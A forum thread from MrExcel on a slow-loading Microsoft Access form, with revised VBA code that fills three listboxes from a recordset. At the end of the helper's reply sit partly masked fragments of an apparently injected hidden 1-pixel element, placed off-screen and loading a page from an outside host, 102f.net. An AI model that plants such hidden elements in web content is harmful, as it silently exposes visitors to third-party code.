VBA Code not being made first priority

firebug88

New Member
Joined
Aug 6, 2015
Messages
14
So let me start off by stating that I cannot post any of the code.

So I have a large databse (65K rows) with names, genders, and locations (Not the real data but you get the point). I have a Form that has 3 list which i use to apply a filter to a query. This query uses 3 dummy tables to only include the DISTINCT names, genders, and locations seaperatly.

I have the list populated using the properties sheet and the query being populated using VBA code. However, my issue is that access (bottom right) says its running query as soon as i open the Form. What is bothering me is that my VBA code has a msgbox to pop-up as soon as the sub is accessed but it doesnt come up until i wait a few minutes for whatever is running before hand. VBA code is set to Form_Open FYI.

My question, has anyone experience something similar or is there a good way to debug exactly what is happening and when?
 
I would like this in the code so that I can make sure the end user will not mess anything up and break it. The more automated the database is the better for the end user.

When i put your code in and change the red parts, I get the part ".Items" Compile error: Method or data member not found. The only built in functions i have are .ItemData and .ItemsSelected which are obviously not going to work here.
 
Upvote 0

Excel Facts

Move date out one month or year
Use =EDATE(A2,1) for one month later. Use EDATE(A2,12) for one year later.
My apologies; I have never done this and am not a fan of the idea, so I did not test the code. Change the code to this
Code:
 Do While Not rs.EOF
    Listbox1.AddItem Item:=Nz((rs.Fields(0).Value), "")
    Listbox2.AddItem Item:=Nz((rs.Fields(1).Value), "")
    Listbox3.AddItem Item:=Nz((rs.Fields(2).Value), "")
    rs.MoveNext
   Loop
What I've added is the NZ function to deal with Nulls. If you're sure your query results will have no nulls, you can remove it. If you leave it in, the "" denotes that an empty string will be added to the listbox, quite likely showing up as an empty (blank) row. If you wish, substitute your own value within the quotes.
NOTES:
- the listbox row source must be set to Value List for this to work, and the values added will not be permanent. If you want that, it is best to drop the records from the query into a table or point each of the listboxes to their own query. As I recall, this may be what you had but was very slow, but you seem to have fixed that.
- the rs.MoveNext brackets () are a copy/paste error. You must remove them.
Whatever this stupid text is that follows, I've tried to get rid of it but it won't die.******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>
 
Upvote 0

Forum statistics

Threads
1,221,848
Messages
6,162,404
Members
451,762
Latest member
Brainsanquine

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top